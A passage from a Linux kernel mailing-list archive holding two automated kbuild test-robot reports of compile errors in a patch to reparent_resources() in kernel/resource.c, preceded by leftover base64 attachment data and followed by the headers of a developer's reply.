/4rzkOkkathZ2xEfJof1RYNLfggFeWwgqUz0PdFHGodDMVKFSNdqKTQj5QiPPFwrHCd6aWuM
zYRtsR46IUUiaQ9xXSEKKOOh1c5kkuijcWEntcNZLeRnDMStWRr1aOZJX1ZTT9SsaCW3J9im
6JNSlIU+q2i2lVRsdqpZqIv1PHXji+yTmMwi07s0MqFT4vtG8xC4fpj54b6rcolQufAOgblc
03LjjUNiEWbJshLHTvrIRlRXY2Qn4psOYerQ8+u6aV4SUqcX5xqW9YQUQOj67XfDKJMNV47p
6/lY1KbpdyuBuB1cZ/HJuP6TNEtgRa5ZLlnb+QdVL2ZwAQvUF6cZVOvFjOBwdQyG9IoKTcDj
NnROuGbsH8CL3uQSRqBo6zoOcQXFnR2J62hdOwxwVT4iuAZtPz4omXfvP3brCl/b+oyHUtpu
QR/wWbYyA2W/sfGf5aDD1aBsmxaP8H9tH1vBypYei6Enf8U8fTFjt/1oUgUgaQBlmnzVWGCc
V8qnC/lpPikR9GbfwOLWSSc71o5EdFyQX+7359ffP/++pb3ra39XsFO9uU3g7xgwesdVVqY6
N3212kkhP6Gt/x7DaSLDboGD1Sitb9dlZIbaWkj3cT1K1+v7VSD74w4DPro6bIX0c3tkG29c
RDn8ZM14xxG7DtysLVaPXC69VawnHMgoS3kAQQaNwL0J2lmZqsurDAgpt7E01HiBUqbFTGY2
Brw8vmh9kqlUdJ9/2h1BhsqSGTwmGpp1L9e70SLzU9Eg4wwucODHaUKARuaphjRy/9zOTt8/
SKhWnDqOejtn4YRLFExrxowrRVqZV+LCgozT4OxfsomM144w0U4Od1jFQGEiAEqaf5S3hKxD
WMlb1VPD0clkB7bAqOAHb89iz/wHnXGabHBYAAA=

--7JfCtLOvnd9MIVvH--


From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.drivers.devicetree,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 2/4] resource: Use list_head to link sibling resource
Date: Tue, 12 Jun 2018 12:37:50 +0800
Lines: 106
Approved: news@gmane.org
Message-ID: <201806121242.NKm8SoJR%fengguang.wu@intel.com>
References: <20180612032831.29747-3-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528778178 23380 195.159.176.226 (12 Jun 2018 04:36:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 04:36:18 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWMP3drIcvDWNA@public.gmane.org
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 06:36:10 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSb2N-0005rK-AC
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 06:36:07 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 48279211F1E3C;
	Mon, 11 Jun 2018 21:38:18 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=192.55.52.43; helo=mga05.intel.com; envelope-from=lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mga05.intel.com (mga05.intel.com [192.55.52.43])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 6DA462119BACD
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon, 11 Jun 2018 21:38:16 -0700 (PDT)
X-Amp-Result: UNKNOWN
X-Amp-Original-Verdict: FILE UNKNOWN
X-Amp-File-Uploaded: False
Original-Received: from orsmga006.jf.intel.com ([10.7.209.51])
 by fmsmga105.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 11 Jun 2018 21:38:15 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.51,213,1526367600"; 
 d="gz'50?scan'50,208,50";a="49152597"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
 by orsmga006.jf.intel.com with ESMTP; 11 Jun 2018 21:38:07 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
 (envelope-from <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>)
 id 1fSb4I-000MSD-MR; Tue, 12 Jun 2018 12:38:06 +0800
In-Reply-To: <20180612032831.29747-3-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Content-Disposition: inline
X-Content-Filtered-By: Mailman/MimeDel 2.1.26
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10300 gmane.linux.kernel.pci:73189 gmane.linux.kernel.input:61521 gmane.linux.drivers.devicetree:274313 gmane.linux.ports.parisc:28684 gmane.linux.kernel.kexec:20873 gmane.linux.kernel:2791987 gmane.linux.ports.ppc64.devel:158719
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10300>

Hi Baoquan,

I love your patch! Yet something to improve:

[auto build test ERROR on linus/master]
[also build test ERROR on v4.17 next-20180608]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180612-113600
config: i386-tinyconfig (attached as .config)
compiler: gcc-7 (Debian 7.3.0-16) 7.3.0
reproduce:
        # save the attached .config to linux build tree
        make ARCH=i386 

All errors (new ones prefixed by >>):

   kernel/resource.c: In function 'reparent_resources':
>> kernel/resource.c:1005:26: error: passing argument 2 of 'list_add' from incompatible pointer type [-Werror=incompatible-pointer-types]
     list_add(&res->sibling, &p->sibling.prev);
                             ^
   In file included from include/linux/ioport.h:15:0,
                    from kernel/resource.c:14:
   include/linux/list.h:77:20: note: expected 'struct list_head *' but argument is of type 'struct list_head **'
    static inline void list_add(struct list_head *new, struct list_head *head)
                       ^~~~~~~~
   In file included from include/linux/list.h:9:0,
                    from include/linux/ioport.h:15,
                    from kernel/resource.c:14:
>> kernel/resource.c:1013:26: error: 'new' undeclared (first use in this function); did you mean 'net'?
     list_for_each_entry(p, &new->child, sibling) {
                             ^
   include/linux/kernel.h:963:26: note: in definition of macro 'container_of'
     void *__mptr = (void *)(ptr);     \
                             ^~~
   include/linux/list.h:377:2: note: in expansion of macro 'list_entry'
     list_entry((ptr)->next, type, member)
     ^~~~~~~~~~
   include/linux/list.h:464:13: note: in expansion of macro 'list_first_entry'
     for (pos = list_first_entry(head, typeof(*pos), member); \
                ^~~~~~~~~~~~~~~~
   kernel/resource.c:1013:2: note: in expansion of macro 'list_for_each_entry'
     list_for_each_entry(p, &new->child, sibling) {
     ^~~~~~~~~~~~~~~~~~~
   kernel/resource.c:1013:26: note: each undeclared identifier is reported only once for each function it appears in
     list_for_each_entry(p, &new->child, sibling) {
                             ^
   include/linux/kernel.h:963:26: note: in definition of macro 'container_of'
     void *__mptr = (void *)(ptr);     \
                             ^~~
   include/linux/list.h:377:2: note: in expansion of macro 'list_entry'
     list_entry((ptr)->next, type, member)
     ^~~~~~~~~~
   include/linux/list.h:464:13: note: in expansion of macro 'list_first_entry'
     for (pos = list_first_entry(head, typeof(*pos), member); \
                ^~~~~~~~~~~~~~~~
   kernel/resource.c:1013:2: note: in expansion of macro 'list_for_each_entry'
     list_for_each_entry(p, &new->child, sibling) {
     ^~~~~~~~~~~~~~~~~~~
   cc1: some warnings being treated as errors

vim +/list_add +1005 kernel/resource.c

   983	
   984	/*
   985	 * Reparent resource children of pr that conflict with res
   986	 * under res, and make res replace those children.
   987	 */
   988	int reparent_resources(struct resource *parent, struct resource *res)
   989	{
   990		struct resource *p, *first = NULL;
   991	
   992		list_for_each_entry(p, &parent->child, sibling) {
   993			if (p->end < res->start)
   994				continue;
   995			if (res->end < p->start)
   996				break;
   997			if (p->start < res->start || p->end > res->end)
   998				return -1;	/* not completely contained */
   999			if (first == NULL)
  1000				first = p;
  1001		}
  1002		if (first == NULL)
  1003			return -1;	/* didn't find any conflicting entries? */
  1004		res->parent = parent;
> 1005		list_add(&res->sibling, &p->sibling.prev);
  1006		INIT_LIST_HEAD(&res->child);
  1007	
  1008		/*
  1009		 * From first to p's previous sibling, they all fall into
  1010		 * res's region, change them as res's children.
  1011		 */
  1012		list_cut_position(&res->child, first->sibling.prev, res->sibling.prev);
> 1013		list_for_each_entry(p, &new->child, sibling) {
  1014	                p->parent = new;
  1015			pr_debug("PCI: Reparented %s %pR under %s\n",
  1016				 p->name, p, res->name);
  1017		}
  1018		return 0;
  1019	}
  1020	EXPORT_SYMBOL(reparent_resources);
  1021	

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.drivers.devicetree,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 2/4] resource: Use list_head to link sibling resource
Date: Tue, 12 Jun 2018 12:49:55 +0800
Lines: 106
Approved: news@gmane.org
Message-ID: <201806121251.hDRqpKgN%fengguang.wu@intel.com>
References: <20180612032831.29747-3-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528778900 4889 195.159.176.226 (12 Jun 2018 04:48:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 04:48:20 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org,
 devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWMP3drIcvDWNA@public.gmane.org
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 06:48:12 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fSbE2-00016E-R1
	for gln-linux-nvdimm@m.gmane.org; Tue, 12 Jun 2018 06:48:11 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id CCA56211F8738;
	Mon, 11 Jun 2018 21:50:21 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=134.134.136.126; helo=mga18.intel.com; envelope-from=lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mga18.intel.com (mga18.intel.com [134.134.136.126])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 73A22211D07A1
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Mon, 11 Jun 2018 21:50:20 -0700 (PDT)
X-Amp-Result: UNSCANNABLE
X-Amp-File-Uploaded: False
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
 by orsmga106.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384;
 11 Jun 2018 21:50:19 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.51,213,1526367600"; 
 d="gz'50?scan'50,208,50";a="66254584"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
 by orsmga002.jf.intel.com with ESMTP; 11 Jun 2018 21:50:11 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
 (envelope-from <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>)
 id 1fSbFy-000CWp-MM; Tue, 12 Jun 2018 12:50:10 +0800
In-Reply-To: <20180612032831.29747-3-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Content-Disposition: inline
X-Content-Filtered-By: Mailman/MimeDel 2.1.26
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:10301 gmane.linux.kernel.pci:73190 gmane.linux.kernel.input:61522 gmane.linux.drivers.devicetree:274322 gmane.linux.ports.parisc:28685 gmane.linux.kernel.kexec:20874 gmane.linux.kernel:2792004 gmane.linux.ports.ppc64.devel:158721
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/10301>

Hi Baoquan,

I love your patch! Perhaps something to improve:

[auto build test WARNING on linus/master]
[also build test WARNING on v4.17 next-20180608]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180612-113600
config: x86_64-randconfig-x011-201823 (attached as .config)
compiler: gcc-7 (Debian 7.3.0-16) 7.3.0
reproduce:
        # save the attached .config to linux build tree
        make ARCH=x86_64 

All warnings (new ones prefixed by >>):

   kernel/resource.c: In function 'reparent_resources':
   kernel/resource.c:1005:26: error: passing argument 2 of 'list_add' from incompatible pointer type [-Werror=incompatible-pointer-types]
     list_add(&res->sibling, &p->sibling.prev);
                             ^
   In file included from include/linux/ioport.h:15:0,
                    from kernel/resource.c:14:
   include/linux/list.h:77:20: note: expected 'struct list_head *' but argument is of type 'struct list_head **'
    static inline void list_add(struct list_head *new, struct list_head *head)
                       ^~~~~~~~
   In file included from include/linux/list.h:9:0,
                    from include/linux/ioport.h:15,
                    from kernel/resource.c:14:
   kernel/resource.c:1013:26: error: 'new' undeclared (first use in this function); did you mean 'net'?
     list_for_each_entry(p, &new->child, sibling) {
                             ^
   include/linux/kernel.h:963:26: note: in definition of macro 'container_of'
     void *__mptr = (void *)(ptr);     \
                             ^~~
   include/linux/list.h:377:2: note: in expansion of macro 'list_entry'
     list_entry((ptr)->next, type, member)
     ^~~~~~~~~~
   include/linux/list.h:464:13: note: in expansion of macro 'list_first_entry'
     for (pos = list_first_entry(head, typeof(*pos), member); \
                ^~~~~~~~~~~~~~~~
>> kernel/resource.c:1013:2: note: in expansion of macro 'list_for_each_entry'
     list_for_each_entry(p, &new->child, sibling) {
     ^~~~~~~~~~~~~~~~~~~
   kernel/resource.c:1013:26: note: each undeclared identifier is reported only once for each function it appears in
     list_for_each_entry(p, &new->child, sibling) {
                             ^
   include/linux/kernel.h:963:26: note: in definition of macro 'container_of'
     void *__mptr = (void *)(ptr);     \
                             ^~~
   include/linux/list.h:377:2: note: in expansion of macro 'list_entry'
     list_entry((ptr)->next, type, member)
     ^~~~~~~~~~
   include/linux/list.h:464:13: note: in expansion of macro 'list_first_entry'
     for (pos = list_first_entry(head, typeof(*pos), member); \
                ^~~~~~~~~~~~~~~~
>> kernel/resource.c:1013:2: note: in expansion of macro 'list_for_each_entry'
     list_for_each_entry(p, &new->child, sibling) {
     ^~~~~~~~~~~~~~~~~~~
   cc1: some warnings being treated as errors

vim +/list_for_each_entry +1013 kernel/resource.c

   983	
   984	/*
   985	 * Reparent resource children of pr that conflict with res
   986	 * under res, and make res replace those children.
   987	 */
   988	int reparent_resources(struct resource *parent, struct resource *res)
   989	{
   990		struct resource *p, *first = NULL;
   991	
   992		list_for_each_entry(p, &parent->child, sibling) {
   993			if (p->end < res->start)
   994				continue;
   995			if (res->end < p->start)
   996				break;
   997			if (p->start < res->start || p->end > res->end)
   998				return -1;	/* not completely contained */
   999			if (first == NULL)
  1000				first = p;
  1001		}
  1002		if (first == NULL)
  1003			return -1;	/* didn't find any conflicting entries? */
  1004		res->parent = parent;
  1005		list_add(&res->sibling, &p->sibling.prev);
  1006		INIT_LIST_HEAD(&res->child);
  1007	
  1008		/*
  1009		 * From first to p's previous sibling, they all fall into
  1010		 * res's region, change them as res's children.
  1011		 */
  1012		list_cut_position(&res->child, first->sibling.prev, res->sibling.prev);
> 1013		list_for_each_entry(p, &new->child, sibling) {
  1014	                p->parent = new;
  1015			pr_debug("PCI: Reparented %s %pR under %s\n",
  1016				 p->name, p, res->name);
  1017		}
  1018		return 0;
  1019	}
  1020	EXPORT_SYMBOL(reparent_resources);
  1021	

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v5 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Tue, 12 Jun 2018 11:29:00 +0300
Lines: 51
Approved: news@gmane.org
Message-ID: <CAHp75Vd6v4+RTq-5uw_BJpT6=w2KGjTfU+rEst6+8igs2cyntw@mail.gmail.com>
References: <20180612032831.29747-1-bhe@redhat.com>
 <20180612032831.29747-2-bhe@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1528792021 5734 195.159.176.226 (12 Jun 2018 08:27:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 12 Jun 2018 08:27:01 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Keith Busch <keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>, Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1561eoWH0uzbU5w@public.gmane.org
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue Jun 12 10:26:53 2018
